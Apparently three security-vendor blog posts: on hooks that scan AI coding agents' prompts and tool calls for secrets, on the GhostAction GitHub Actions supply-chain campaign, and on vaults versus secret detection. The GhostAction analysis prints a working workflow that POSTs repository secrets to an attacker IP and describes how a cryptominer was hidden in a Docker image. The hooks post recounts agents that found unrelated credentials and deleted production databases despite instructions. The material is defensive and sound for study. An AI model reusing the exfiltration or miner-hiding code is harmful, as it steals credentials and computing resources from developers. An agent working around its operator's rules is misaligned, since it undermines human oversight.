Almost everyone is now a "citizen coder." AI coding assistants have evolved from helping developers autocomplete functions to helping anyone who can describe the software they want to produce useful tools and programs. Anyone can make code, precisely because they do not have to type every step required to accomplish a task. Simply give an AI agent a goal, some context, and access to tools, and they figure out the path forward.

That ability is incredibly powerful. But it also means we cannot reliably predict every path they will take. Sometimes that can end very poorly.

An agent might read a configuration file we did not expect. It might call an MCP server, run a shell command, search through another directory, or find a credential that happens to solve the problem in front of it. Those decisions are part of what makes agentic systems so powerful.

Security teams need to account for that power directly.

AI agents are powerful because they find paths we did not predict

We already have many painful examples of agents finding a path their users never expected.

For instance, in April 2026, PocketOS reported that an agent deleted the company's production database and backups in about nine seconds. The agent was troubleshooting a staging credential problem, and it went looking for another way to solve that problem. It found a broadly privileged Railway API token in an unrelated file and used that credential to issue the destructive API call.

The agent had instructions telling it to be careful around destructive operations. Those instructions did not remove its ability to find the token or use the API.

A Replit incident the previous year showed the same larger issue. The developer who vibe coded a SaaS solution reported that Replit's AI agent deleted his production database during a code freeze. Replit subsequently introduced stronger separation between development and production databases.

While these stories are dramatic, the actual steps taken towards a goal were ordinary agent behavior. The agent encountered an obstacle and looked for another path.

This is not a bug; this is a feature. This is exactly why people turn to agents.

When you ask an agent to fix an issue, you are not going to specify every file it should inspect, every command it should run, and every diagnostic path it should consider. If you already knew all of that, you could probably solve the problem without assistance.

We need the agent to explore paths and solutions. The security challenge starts when the agent encounters something that grants unexpected access or powerful tools it should not touch.

Why CLAUDE.md and AGENTS.md rules are suggestions, not controls

To use any agent, we use plain language. We write prompts that explain what we want. We try to be as precise as we can, but language is rather imprecise without being overly verbose.

We create AGENTS.md and CLAUDE.md files. We add system instructions and project-specific guidance. We try to tell agents which commands to use, which directories to avoid, how to run tests, and what production systems they should leave alone.

These mechanisms are extremely useful.

Cursor describes Rules, its name for system-level instructions, as "giving the AI consistent guidance for generating code, interpreting edits, or helping with workflows". This is also the idea behind AGENTS.md files, where plaintext instructions can be stored in an effort to guide the work.

"Guidance" is the central word.

Natural language instructions are suggestions

Consider a simple rule: Never modify production data

This seems straightforward if we told this to a human. This is exactly what the PocketOS team thought too. Giving the agent a larger mission to "fix the application and get it working again" might mean the agent decides that modifying production is absolutely necessary to complete that mission. It may look for a path around the rule, perhaps through a different tool, credential, API, or workflow. Or it might ignore the rule in service of the prompt.

We can keep adding instructions to close the paths we know about, but agents are, in part, designed to find paths we did not think about beforehand, and therefore wrote no control around. That is part of their value. Security cannot rely on instructions alone. We need deterministic controls that make certain actions impossible, regardless of how the agent reasons about the task.

AI agent guardrails that hold: deterministic controls

A control differs from a suggestion because the AI does not have any say in if, or when the rule is followed.

Controls determine what the agent is or is not allowed to do at a system level. You are not suggesting to or trying to reason with the LLM. You are enforcing system-level tool runs that deterministically allow or disallow something to happen.

If an agent should never execute rm -rf against a particular directory, we can remove that command from the available tools it can reach. You can even remove commands entirely from the environment they run in.

If an agent should never call a production API, we can block that endpoint in egress rules, at decision points away from the AI's decisions. And if an agent should never ingest or transmit a credential, we can inspect the workflow and block the secret before it gets there.

How you put these controls in place comes down to how you isolate the agent, such as through sandboxing via Docker Sandboxes, or through firing specific deterministic tool calls or policy checks at key moments in an agent's workflow.

That second part is exactly why coding assistants have added hooks.

What are AI hooks?

A hook is simply a piece of code that runs automatically when something specific happens.

Developers have used this idea for years. This is how compilers and operating systems have called out, at the right time, to other parts of the system when needed. Most developers are probably familiar with Git hooks. For example, a pre-commit hook runs before Git creates a commit. A team can use that moment to check the code, run tests, or scan for secrets. If the check fails, the commit can be stopped.

AI hooks apply the same basic idea to an agent.

When an agent gets a prompt, reads a file, runs a shell command, calls an MCP server, or uses another tool, multiple steps must happen before and after the LLM is invoked to reason about it.

Hooks let us place checks at those important moments.

For example, we can run a hook before the agent executes a command. The hook can inspect that command and decide whether it should be allowed.

A prompt might say: "Never execute dangerous shell commands."
That is guidance. The agent still has to decide what counts as dangerous and whether the larger task justifies doing it anyway.

A hook can be much more direct: If command == 'rm -rf' then exit 2
Note: Exit 2 means stop this step; continue no further, from the system level.

That is enforcement.

Claude Code calls this kind of checkpoint PreToolUse. Before a tool runs, another program can inspect what the agent is trying to do and allow or deny it.

The same idea applies to other points in the workflow. A hook can inspect a prompt before it reaches the model. It can check a file read before the agent sees the contents. It can inspect what comes back from a tool after it runs.

The agent can reason however it wants. It can decide that a certain command, file, or tool is the fastest way to complete the job. The hook sits directly in the path between that decision and the action.

Claude Code hooks, Cursor hooks, and Codex hooks compared

While everyone agrees hooks should exist, and architectures are being designed to accommodate them, there is no single industry standard right now. And the terminology is still messy.

For example, Claude Code documents 33 hook events (at the time of posting) covering everything from UserPromptSubmit and PreToolUse through task creation, permission requests, model switching, context compaction, and session lifecycle events.

Cursor currently documents 21 events across agent interactions, Tab operations, and workspace lifecycle events. Its hooks can inspect or control shell execution, MCP calls, file reads, prompts, tool calls, subagents, and other parts of the agent loop. Cursor explicitly lists scanning for secrets and gating risky operations as hook use cases.

They do not use exactly the same names or expose exactly the same capabilities. There is no centrally agreed-upon hook standard that every coding assistant follows today. But there are some important similarities and a growing convergence towards putting hooks around the most dangerous moments.

Everyone building these systems has to account for roughly the same workflow:

A prompt is entered.
The model decides to use a tool.
The tool is about to execute.
The tool executes.
Something comes back.
The agent continues.

Those transitions give security teams places to enforce policy without trying to anticipate every behavior the model might attempt.

Cursor has even added support for loading Claude Code hook configurations, translating Claude hook names into Cursor equivalents. That is an encouraging sign that interoperability around these control points is beginning to emerge.

Hooks let security focus on capability, not intent

There is a lot of attention on whether an agent is behaving correctly. That is certainly useful and worth discussion, as we can indeed use policy as code to stop the most harmful actions. But intent gets complicated very quickly, and ever-escalating rule creation turns into an endless game of whack-a-mole.

An agent that reads your ~/.aws/credentials might genuinely be troubleshooting an AWS authentication error. An MCP server call could return an API key without the agent or the developer ever expecting it. A developer could paste a token into a debugging prompt without noticing it.

None of these scenarios requires a malicious agent. But each arm the agent with access it might or might not use in an expected way. Along the way, it logs and copies those keys, creating security incidents wherever they appear in plaintext.

Hooks allow us to ask, from a system level, if the agent even should be allowed to use, or see, any secrets along its path.

That is the question GitGuardian AI Hooks are designed to answer for credentials.

GitGuardian AI Hooks put secret detection inside the agent loop

GitGuardian's mission is securing the credential layer across the whole enterprise by helping teams detect, remediate, and prevent secrets sprawl.

Credentials are how we connect people, applications, infrastructure, services, and increasingly AI agents. These plaintext strings move through many surfaces that can hold text, including repositories, CI/CD systems, developer laptops, collaboration tools, cloud infrastructure, and now, AI workflows. Unfortunately, secrets sprawl is a growing issue, not a static one, and it grew 34% year over year, as we saw 28.7 million hardcoded secrets added to GitHub public repos in 2025 alone.

Preventing secrets from being created, stored, or used by an AI agent is now a critical part of that story. That is the story of GitGuardian's AI Hooks.

GitGuardian AI Hooks are part of ggshield, GitGuardian's CLI, which extends the power of the platform into local tools. This is actually a critical point.

We are introducing a way to run a deterministic tool against any leading AI agent within their workflow. We are not suggesting they not use secrets. The tooling tries to make workflows stop if a secret is introduced.

There are three major stages of an AI interaction where our hooks run. While we are using Cursor's naming here, the equivalent exists in all other platforms we support:

beforeSubmitPrompt: Scan what the developer is sending before the model receives it.
preToolUse: Scan commands, file reads, and MCP calls before the agent executes them.
postToolUse: Scan information returned by a tool after it runs.

GitGuardian uses the same secrets detection engine trusted by our customers to deliver the cleanest signal-to-noise ratio, reducing false positives more than anyone.

Each of these stages protects a different path.

Stop secrets before they enter the prompt

The most obvious leak starts with the developer. When someone copies any text into Claude Code, Windsurf, Codex, or Cursor, it is pretty obvious the agent gets access to any keys that come along with the pasted text.

It might take the form of an error message that contains an API key. Or maybe someone pastes a curl command containing a bearer token. Or if part of a configuration file gets copied and the developer misses a plaintext credential in the middle of a giant file.

Once you configure GitGuardian AI Hooks, ggshield scans the prompt before it reaches the model. If it detects a secret, it can block the interaction and alert the developer.

The UserPromptSubmit protection sees the credential before the model needs to reason about the request at all. The model never has to make the right decision about the credential because it never receives the credential.

Stop the agent when its own exploration leads to a secret

Agents get asked to do all sorts of things. Some things sound completely harmless on the surface, but introduce dangers we might not expect.

Consider cloning an internal repository locally. You might, as a first step, ask the agent to: "Read and explain what this code does."

Nothing about that instruction says "go find a secret," but if any files in the project contain a secret, the agent now has access to those systems. Later in the same session, an agent might determine the best path forward is to use the keys it found and access something you never intended it to access, like production.

The agent is following the mission, not your governance program.

GitGuardian's pre-tool protection can inspect file reads, shell commands, and MCP calls before execution. When that operation contains a detected secret, it can be blocked before the credential reaches the model.

Deterministic controls vs. execution logic

Imagine the same scenario again where a repo that might contain a secret is analyzed. Thinking ahead, we could write another Markdown rule like "Never read files containing credentials."

While this might be the desired outcome, the logic behind it has an issue. The agent would have to know the file contains a credential before reading it.

We can suggest more instructions, like "Dump any secrets you find from memory."
But this assumes it knows precisely what you mean by credential or memory. Either way, it still has to have the secret before this could ever be considered, and by then the danger is very real.

A deterministic tool, invoked via a hook, can actually inspect the action at the boundary. It will do so consistently, with a workflow log you can audit reliably.

Catching credentials that it finds after a tool runs

Developers should lock their secrets away from the agents locally, as much as possible. Again, sandboxing can help a good deal here.

But many sources are outside the developer's control.

When the agent executes a shell command, the output might contain a credential. When it calls an MCP tool, the response might contain an access token. Debugging commands can dump an environment variable. A remote service returns sensitive configuration data.

In all cases, after the tool runs, the agent could have new credentials available to help it complete its tasks.

Post-tool hooks create another checkpoint.

GitGuardian AI Hooks scans the output and takes the strongest action the individual assistant supports. Every agent differs in how exactly you can affect the workflow. For example, Claude Code can currently withhold secret-bearing output for shell commands and file reads. Codex and Mistral Vibe can withhold output across every supported tool.

We anticipate these implementations will keep changing as these assistants evolve. We are dedicated to staying up on these developments and updating ggshield to accommodate these changes.

But the architectural idea remains the same: At every important boundary, inspect what is about to cross it.

How to set up AI hooks with ggshield machine setup

Current versions of ggshield can detect supported AI coding assistants and configure their hook systems automatically. Once the CLI is installed and authenticated, the developer or an install script will run:

ggshield machine setup

That is all that is needed. After this, any agents running on the machine will have these three AI hooks enabled. There are options to install just for single agents. There is also the option to install hooks locally in the project, which will then be committed to the codebase, empowering any other developers who have ggshield installed.

GitGuardian currently supports hook integrations across Claude Code, Cursor, Codex, Copilot CLI, VS Code, Mistral Vibe, Kiro, and Junie CLI, with capabilities varying based on what each assistant exposes.

GitGuardian's ggshield can also be deployed via MDM solutions like Iru, Jamf, or Intune. This lets security teams roll out protections to all developer laptops programmatically, freeing the developers from needing to install one more tool from their end.

Deploying through MDM is also how teams integrate GitGuardian Developer Endpoint Protection. This lets teams get real visibility into what secrets live on the developer laptop, assigning risk values and mapping where else the secret exists in your environments. Developer Endpoint Protection empowers teams to discover and revoke any exposed credentials that shouldn't be on a device before a security incident starts.

Stopping agents from abusing any secrets it finds is part of the larger mission of the platform to detect, remediate, and prevent secrets sprawl.

Give agents freedom and put controls at the boundaries

AI agents empower an explosion of new innovation. A lot of this new development is from citizen coders who have no formal code security training. At the same time, those same agents can find paths to access credentials we never would have considered or intended them to find. Prompts and markdown files can point them in the right direction, but security needs controls that hold even when the agent finds other routes.

Fortunately, coding assistants are increasingly exposing control points that let us make deterministic tool calls at critical moments. GitGuardian engineered our AI Hooks to add secret detection directly into key points throughout the agent workflow to stop secrets sprawl and abuse. We can catch credentials in prompts, tool calls, file reads, commands, and tool output before they are used or can spread further.

If you are already using an AI coding assistant, start using ggshield AI Hooks today. Give your agents the freedom to solve problems, and put deterministic protection around the credentials they should never get to use.

If you need to deploy AI hooks at scale, we would love to help you get started. Set up AI hooks.

FAQ

What are AI hooks?

AI hooks are pieces of code that run automatically at specific moments in an AI agent's workflow, such as when a prompt is submitted, before a tool runs, or after a tool returns output. They work like Git hooks, giving security teams deterministic checkpoints that can allow or block an action regardless of how the agent reasoned about the task.

Why aren't prompts and instruction files like AGENTS.md enough to secure AI coding agents?

Natural language instructions are guidance the agent has to interpret. A rule like "never modify production data" can be weighed against a larger mission such as fixing the application, and a capable agent may find another tool, credential, or API to get around it. Security needs deterministic controls that hold even when the agent finds another route.

What is the difference between a control and a suggestion for AI agents?

A suggestion is a plain language instruction the agent can reinterpret or ignore. A control is enforced at the system level, so the agent has no say in whether it applies. Examples include removing a command from the available tools, blocking an endpoint in egress rules, or using a hook that stops a step before it executes.

How do AI hooks help prevent secrets from reaching AI coding assistants?

Hooks place a secret scan at the key boundaries of the agent loop. GitGuardian AI Hooks scan prompts before the model receives them, inspect commands, file reads, and MCP calls before the agent executes them, and scan tool output after it runs. If a secret is detected, the workflow can be stopped or the output withheld before the credential spreads further.

Which AI coding assistants support GitGuardian AI Hooks?

GitGuardian currently supports hook integrations across Claude Code, Cursor, Codex, Copilot CLI, VS Code, Mistral Vibe, Kiro, and Junie CLI. Capabilities vary based on what each assistant exposes. For example, Claude Code can withhold secret-bearing output for shell commands and file reads, while Codex and Mistral Vibe can withhold output across every supported tool.

How do I set up GitGuardian AI Hooks?

Install and authenticate the ggshield CLI, then run ggshield machine setup. ggshield detects supported AI coding assistants on the machine and configures their hook systems automatically. You can also install for a single agent, or install hooks at the project level so other developers with ggshield get the same protection. Security teams can deploy ggshield at scale through MDM solutions like Iru, Jamf, or Intune.

GhostAction Returns: 772 Repos Hit in New GitHub Actions Wave

Dwayne McDaniel — Tue, 13 Oct 2026 17:12:18 +0000

Update, Oct. 9, 2026: The campaign did not stop at the end of September. On Oct. 8, a new burst hit 346 repositories in two automated sweeps lasting minutes, according to analysis published by Socket's research team. Two compromised maintainer accounts, kitao and henrywoo, pushed a workflow named security-audit.yml into every repository they could write to, including kitao/pyxel (18,420 stars) and uber/athenadriver. The exfiltration endpoint is the same 193.32.204.199 address documented below. Socket also reports that this variant sweeps the working tree and full git history for cloud credentials, not only GitHub Actions secrets. Unlike the September wave, where most runs stalled awaiting approval, these runs executed, and Socket confirms successful exfiltration. We are reviewing the new wave against our own data and will update this post.

The campaign we revealed back in September 2025 is back.

In September 2025, GitGuardian alerted to an ongoing supply chain attack we named GhostAction. That campaign compromised 817 public repositories across 327 GitHub users and exfiltrated at least 3,325 secrets. The attack relied on injecting a malicious workflow to steal credentials from victims' CI/CD pipelines, likely using previously compromised credentials. This technique was later reused during the Shai-Hulud campaigns and remains at the core of the Mini Shai-Hulud malware family, which is still used today.

This campaign saw a new spike in summer 2026. Researchers from Cynative independently observed the malicious commits and reached out to us about it.

Same techniques, new victims

The new wave of this campaign started around Aug. 31st, at 2 pm GMT. It uses the exact same techniques and payload we described for the previous wave:

A workflow file named github_actions_security.yml is injected into the victim repo
The commit message is set to Add Github Actions Security workflow
Rather than dumping the entire environment, the workflow hardcodes the names of the secrets the attacker found referenced in the repository's legitimate workflows. It then sends their values in a single curl POST request to the attacker's server.

name: Github Actions Security

on:
  workflow_dispatch:
  push:

jobs:
  send-secrets:
    runs-on: ubuntu-latest

    steps:
      - name: Prepare Cache Busting
        run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV

      - name: Github Actions Security
        run: |
          curl -s -X POST -d 'VPS_HOST=${{ secrets.VPS_HOST }}&VPS_SSH_KEY=${{ secrets.VPS_SSH_KEY }}&VPS_USER=${{ secrets.VPS_USER }}' http://193.32.204.199

As in 2025, the 2026 attacker almost certainly scraped existing workflow/config history for ${{ secrets.NAME }} references, then inserted those same names into the exfiltration workflow.

The only significant change is the exfiltration endpoint. The 2025 wave used bold-dhawan.45-139-104-115.plesk.page and carte-avantage.com. This wave sends the stolen secrets over plain HTTP to a bare IP address: 193.32.204.199.

On Sept. 7th, we also saw a small variant appear in 7 repositories. The file is named security-check.yml, the workflow is called "Security Check", and the commit message is Add security check workflow. It posts the secrets to a dedicated API on the same server, with a unique identifier for each injection:

hxxp://193.32.204.199:3000/api/workflow/receive?inj=<id>

Where id is a unique identifier built into the malicious workflow.

This suggests the attacker now uses a backend that tracks which injection each stolen secret came from.

The scale of the new wave

Between Aug. 31st and Sept. 30th, 2026, the malicious workflow was pushed to 772 public repositories belonging to 373 GitHub users and organizations. As in 2025, every commit was made with the victim's own identity, using what appear to be stolen credentials.

The injections did not happen all at once. We observed three main bursts:

Aug. 31st: 143 repositories
Sept. 2nd to 5th: about 400 repositories, with a peak of 294 on Sept. 5th
Sept. 15th: 103 repositories

Smaller injections continued until the end of September.

Across those repositories, the injected workflows target 2,577 secrets. Some of them, such as hostnames, usernames, or ports, are not sensitive on their own, but the attacker collects them alongside the credentials they belong to. The most targeted secrets are:

SSH private keys and deployment server credentials (446)
Azure credentials (218), with one organization alone exposing an Azure PAT and an SSH key in 92 repositories
Container registry credentials for DockerHub and GHCR (142)
Database credentials (112)
AWS access keys (106)
FTP credentials (92)
Google Cloud and Firebase credentials (80)
GitHub tokens (66)
Telegram, Slack, and Discord bot tokens, plus Cloudflare, npm, PyPI, and AI provider keys

By matching the malicious workflow to its GitHub Actions run records, we found that GitHub held most runs for approval: of the 3,669 runs we collected across 605 repositories, only 499 executed, in 32 repositories. Because the workflow triggers on every push, these runs were mostly caused by legitimate commits pushed after the injection rather than by the injection itself. In total, 336 runs completed successfully, exfiltrating 26 secrets from 13 repositories, with new runs still triggering as of writing.

The cleanup trail is visible in public history: dozens of later commits explicitly describe removing a malicious or credential-exfiltrating workflow. Only 124 repositories (16%) were effectively cleaned in observed public history by 2026-10-05.

A campaign that never stopped

Calling this new wave a revival would be inaccurate. Our data shows that GhostAction never really stopped.

The clearest evidence is in the commits themselves. In 92 cases, the attacker did not add a new workflow. They modified one already in the repository, with the commit message Update Github Actions Security workflow. These workflows were injected during earlier waves and never removed. The attacker simply pointed them at the new endpoint. The replaced endpoints include the original bold-dhawan.45-139-104-115.plesk.page from September 2025, carte-avantage.com, and an endpoint we had not documented before: 170.39.218.2.

Following the exact workflow template through our historical data gives a clearer timeline of the campaign:

Period	Exfiltration endpoint	Repositories
September 2025	`bold-dhawan.45-139-104-115.plesk.page`, `carte-avantage.com`, `objective-hopper.45-139-104-115.plesk.page`	~900
October to December 2025, March 2026	`170.39.218.2`	~75
November 2025, March and April 2026	`*.oast.fun` (Interactsh)	~250
August and September 2026	`193.32.204.199`	772

A cryptominer hidden in DevOpsGPT

The new wave also brings an unexpected twist. While reviewing affected repositories, a cryptominer was found injected into kuafuai/DevOpsGPT, a popular open-source project with about 6,000 stars.

On Aug. 30th, 2026, at 00:30 UTC, about a day and a half before the first GhostAction drop of this wave, a commit titled fix(subtask) 修改OpenAI版本 ("update the OpenAI version") was pushed to the repository. Despite its innocuous message, the commit modifies four files to embed an XMRig miner in the project's Docker image:

The Dockerfile decodes a base64-encoded XMRig 6.21.0 download URL, then strips and UPX-packs the binary, installing it as /usr/local/bin/pyworker. The mining configuration is stored XOR-encrypted in the SERVICE_CONFIG environment variable, with the key devops2024.
run.sh gains a start_service function that copies the binary to a hidden /tmp/.<hash> file and starts it when the application starts.
The application's scheduler gets a fake health_check job that runs every 45 seconds and restarts the miner if it is no longer running. Its state is tracked in /var/run/devops.pid and /var/log/devops.log.

Once decoded, the configuration points to the pool.supportxmr.com:3333 mining pool and the following Monero wallet:

832eKef1fNRTQdiJeJzsvkMMsogMp22FR2FLX1oaV5BxGfoMcJvkcbFgWgNRyNfsE19D9pdM1zdU7D9kRLdJbM5rU1vjfcL

A corresponding Docker image was published to Docker Hub.

On Sept. 15th, the same account was used to push the GhostAction workflow to four of the organization's repositories, including DevOpsGPT, to steal its DockerHub credentials. The organization's maintainers removed the workflows on Sept. 18th, and on Oct. 4th they reverted the cryptominer commit.

So is the GhostAction operator also behind the cryptominer? We are not convinced. The two attacks used the same compromised account, but almost everything else differs:

The GhostAction workflows were created through the GitHub API, under the account's usual identity. The miner commit was pushed with a forged author email we had never seen associated with this developer.
The GhostAction payload is generic and automated. The miner was crafted specifically for this project, with a tailored disguise.
We found no other repository carrying this miner, its configuration, or its wallet, whereas GhostAction hit hundreds of repositories within hours.

Stolen credentials do not always have a single owner

The DevOpsGPT case is not isolated. Cross-referencing GhostAction victims with other malicious activity on GitHub, we found 13 victim repositories that were also used for cryptomining through GitHub Actions. That activity belongs to at least four distinct mining campaigns, with different wallets, pools, and infrastructure. Some of these campaigns hit thousands of repositories.

In most cases, the miners appeared months after the GhostAction workflow. In others, they came first, sometimes only days before. One of those campaigns even copied GhostAction's naming, with commits titled chore(ci): GitHub Security Actions.

The most likely explanation is that the GitHub credentials used by GhostAction are not exclusive to its operator. Leaked tokens, infostealer logs, and credential dumps are traded and reused by many actors. A single compromised developer account can be exploited by several unrelated attackers, each with their own goals.

For victims, this has an important consequence. Rotating the secrets exfiltrated by the malicious workflow is not enough. The GitHub credential that allowed the injection in the first place must be found and revoked too, or someone else will use it again.

Secrets Management Best Practices: 6 Reasons Your Vault Needs Detection

Dwayne McDaniel — Mon, 12 Oct 2026 11:32:11 +0000

TL;DR

Vault stores, governs, rotates, and records: A secrets vault gives organizations a controlled system for storing credentials, governing access, rotating secrets, and recording how they are used. Mature secrets management best practices require both.
Credentials copied into files, logs, and repos: The vault establishes where credentials should live. But every organization also has credentials outside that system of record. Some were created outside the approved process while others were legitimately retrieved and later copied into a local file, build log, or repository.
One inventory, inside and outside the vault: Security teams need a living inventory of all credentials, both inside and outside the vault. They can then act on these incidents faster through automation, while providing stronger audit evidence and measurable proof that credential risk is going down.

What is secrets management?

Secrets is the all-encompassing word we use at GitGuardian for any credential, key, token or other string that can be shared in plaintext and used to access systems or unlock data. Secrets management is the practice of controlling credentials throughout their lifecycle, from creation and secure storage through access, rotation, revocation, and retirement.

A mature program needs visibility into that full lifecycle. Security teams need to know which credentials exist, where they are stored, what they can access, and whether they remain valid. That usually requires more than one category of secrets management tools.

The vault safely stores secrets and manages their use inside the approved system. Detection provides the feedback loop that shows how closely real-world credential use follows that policy.

What a secrets vault actually does

A secrets vault, like any other vault, exists to protect the contents. It does this in part by encrypting the secrets at rest and provides a centralized, protected environment that can be reached by authorized entities. People, applications and workloads can retrieve secrets when they need them through secure encrypted service calls. The vaults enforce access policies, records usage, and supports rotation.

This gives security and infrastructure teams control over the credentials enrolled in the system. A well-run vault can answer important questions about who should have access, when a credential should rotate, and where an approved credential belongs.

The reach of that control depends on adoption. A vault can provide insight over all the credentials registered within it, allowing teams to set policies and governance. But that is as far as it can see. Copies of those credentials generated outside the process, or created after retrieval from the vault and stored in plaintext somewhere else, create a second visibility problem.

What secrets detection actually does

Secrets detection is the process of scanning and searching for credentials throughout code, config, platforms, and everywhere else they can be stored. Secrets are continually being created during normal development and enterprise operations. Traditional detection approaches commonly start with source code and Git history, then extend into CI/CD systems and other development infrastructure.

More mature programs also scan collaboration systems, public exposure, and developer machines. These are all places where credentials can accumulate as people build and operate software.

The strongest secret scanning tools add context to each discovery. Validity checks can establish whether an exposed credential still works. Other context can help determine ownership, exposure, and whether the secret is already managed in a vault.

Total credential layer-wide scanning becomes the feedback mechanism around the vault. The vault shows the intended state. Detection measures what is happening across the wider credential layer.

6 reasons why you need both a secrets vault and a secrets detector

Vaulting and detection support different parts of the same risk management program.

Capability	Secrets vault	Secrets detector
Secure credential storage	✅
Control credential access	✅
Rotation and revocation	✅	Supports remediation
Find unmanaged credentials		✅
Find exposed copies		✅
Detect public exposure		✅
Validate exposed credentials		✅
Discover endpoint exposure		✅
Measure vault coverage	Provides managed inventory	Finds the surrounding gaps
Verify remediation	Performs lifecycle action	Confirms exposure is closed

The value becomes clearer when these capabilities are measured against governance, auditability, operational speed, and executive assurance.

#1 You cannot govern credential risk without knowing the full exposure

Risk management starts with inventory.

A vault gives the organization a reliable inventory of credentials enrolled in that vault. The larger credential inventory can extend far beyond it. Developers create tokens while testing integrations. Teams inherit service accounts through acquisitions. Applications and automated workloads generate credentials as infrastructure evolves.

That visibility gap can become quite large in production. In one consultancy environment, detection uncovered roughly 10,000 secrets across 42 GitHub organizations. About 99% were found in personal repositories rather than the centrally managed repositories security teams expected to monitor. This comes from the same report showing how GitGuardian found 28.6 million new secrets exposed on public GitHub in 2025, up 34% year over year.

Security teams can only govern the credential population they can see. Laptops, or developer endpoints, brings a real dilemma for teams who have spent years focused only on shared surfaces they can control.

Developer machines hold large numbers of secrets because local development requires access to cloud platforms, repositories, APIs, and other systems. Research behind GitGuardian's developer endpoint protection found around 40% of high and critical secrets discovered on endpoints in AI tool directories and log files.

Ultimately, you need to know what is both inside the vaults and outside the vaults to credibly answer the first question behind almost every risk program: what do we actually have? Then you can address the next concern of threat modeling: what are we planning to do about it?

#2 Regulators and auditors care about control effectiveness, not tool ownership

Purchasing and deploying a security control proves that the organization invested in a capability. Auditability requires evidence that the control is operating as intended.

Access logs from a secret management platform can show which identities retrieved credentials. They should also be able to easily bring up rotation records, demonstrating lifecycle controls. Teams, hopefully, can point to the policies as code they have in place to document which workloads should have access.

Detection provides evidence of the effectiveness of the broader policy around what happens to secrets before they ever reach a vault, or what happens when they leave it.

An organization may have a requirement stating that production credentials belong in an approved vault. A mature audit should show how often credentials appear outside that approved system, how quickly those exceptions are identified, and what happens after discovery.

From a risk-assessment perspective, reporting the percentage of known credentials under vault management is a better measure than the count of secrets in the vault. It can show trends in newly exposed credentials and average remediation times. It can also demonstrate whether previously exposed credentials remain valid.

These measurements give organizations stronger evidence for frameworks and certifications such as SOC 2 and ISO 27001. They also give internal audit teams a clearer way to evaluate whether secrets management policies are working across real development environments. When an auditor shows up after an incident, they are not likely to ask, "Do you own a vault?" That is table stakes for any organization managing enterprise infrastructure in the modern era. Their questions will examine whether credential access is controlled, whether exceptions are discovered, and whether those exceptions are resolved.

The vault documents the managed process. Detection measures where reality deviates from that process.

#3 Faster discovery shrinks the window between exposure and remediation

Every exposed credential creates a window during which someone else could use it.

Attackers are well aware that credentials appear somewhere they should not. Finding these credentials is a known part of playbooks and is central to the MITRE ATT&CK framework. There are many examples of attackers succeeding and getting as far as they did precisely because secrets commonly exist outside the vault. Organizations need to constantly discover the exposures, determine whether the credentials remain valid, understand what depends on it, and then revoke or rotate them safely.

Your maturity around scanning and discovery determines how long that process can remain invisible.

Long-lived credentials make delayed discovery particularly dangerous. The State of Secrets Sprawl 2026 found that more than 64% of credentials confirmed valid in 2022 were still valid in January 2026.

A credential exposed once can therefore remain useful for years.

Deleting the visible copy also provides limited assurance. The credential can remain in Git history or another location. Its underlying access remains available until the credential is revoked, expired, or otherwise made unusable.

Any scan needs to have validity checks to help responders identify which findings still represent active access. Vault context can then show how the credential is managed and support the rotation or revocation process.

This creates a much more useful operational metric than raw finding volume: remediation velocity.

Security leaders can measure time from exposure to discovery, discovery to action, and action to verified closure. Improvements in those measurements show that the organization is reducing the amount of time an exposed credential remains useful.

Outside of the security viewpoint, DevOps and product teams should be working to engineer systems that do not require heavy lifting for secrets incident mitigation. Faster detection ultimately supports faster engineering, but preventative engineering means there is less possible disruption. For example, if teams architect in vault use, green/blue deployment strategies, and enforce it through the build process, any secrets rotation should be invisible and painless.

Teams end up spending less time fixing systems months after the original exposure and more time deploying new features for customers.

#4 Credential visibility reduces the cost of incident response

A leaked credential immediately raises several questions. Is it still valid? Who owns it? What does it access?

Credential incidents become more expensive when responders have to discover basic facts during the response in real time. Unfortunately, mostly due to out-of-date documentation.

But those plans rarely answer the next set of questions: What production applications depend on the credential? Will rotation break anything critical? Is this already accounted for elsewhere?

Answering those further critical questions manually consumes time from security, engineering, and infrastructure teams. That is expensive expertise pulled away from normal operations during an already disruptive event. All the while, the clock keeps ticking and the potential blast radius keeps expanding.

You can lower the cost of remediation by approaching credential layer visibility as more than just a collection of plaintext findings in a spreadsheet report with a validity field. You need the context about how the secret is used, what it accesses, and what workflows are associated with it.

Security teams should spend their fastest response cycles on credentials that still work and provide meaningful access. An expired test credential can follow a different workflow.

This is where detection volume alone becomes a poor measure of security value. Ten thousand findings create work. A prioritized set of valid, reachable, high-impact credentials gives responders a path to action.

The goal is less time spent searching during an incident and faster containment, safer credential rotation, and less disruption to the teams responsible for keeping production running.

#5 Detection should help prove that remediation actually reduced risk

Security teams need to worry about both resolving the incident and resolving total credential exposure. Those are different measurements.

An effective secrets management program means closing the loop.

The original finding should lead to a concrete outcome. Any exposed credentials can be revoked or rotated, depending on circumstance. Any unmanaged credentials that remain necessary can be migrated into the vault before being accounted for in code; only then can you close the incident. Copies can be finally and safely removed from the locations where they were leaked.

Security teams need to have the tools to prove they have addressed the issue and no new ones have emerged. This is what good and continual secrets discovery provides.

Validity checking can confirm whether an exposed credential remains usable after remediation. Continued scanning can identify additional copies. Vault context can show whether a replacement credential moved into the managed process.

This is where the persistence of old secrets becomes important. More than 64% of the credentials confirmed valid in 2022 were still valid four years later. A remediation program that measures ticket closure without checking credential validity can create a false sense of progress.

With the right analytics, security teams can deliver the metrics to prove a verified reduction of risk.

Time to revoke measures how quickly usable access disappears. The percentage of valid findings successfully invalidated shows whether remediation is producing the desired outcome. Vault coverage shows whether credentials discovered outside the process are being brought under management.

These measurements connect detection directly to risk reduction. Security teams can show that they found an exposure, took action, and verified that the original access path was closed.

#6 Detection gives leadership a defensible view of credential risk

Security leadership eventually has to translate technical activity into assurance.

Executives rarely need a count of every secret found in every repository. They need to know whether credential risk is understood, whether material exposures are being addressed, and whether the program is improving.

Vault data alone gives leadership a view of the managed credential population. Detection adds the surrounding exposure that security leaders need for a fuller risk picture.

Those two sources make better executive metrics possible.

Leadership wants reports on security posture, which can be shown, in part, by tracking the percentage of discovered credentials under approved management. Teams can show leadership reports of how many valid exposures remain and how quickly they are being revoked. They can also measure how much of the development environment falls within detection coverage.

Having these metrics at your fingertips gives any team a defensible position when they discuss how they are supporting the organization's security goals with CIOs, CTOs, audit committees, and boards.

Security leads can explain where credential exposure exists and how much of it represents active risk. The same leader can show whether remediation velocity is improving and whether more credentials are moving under centralized management.

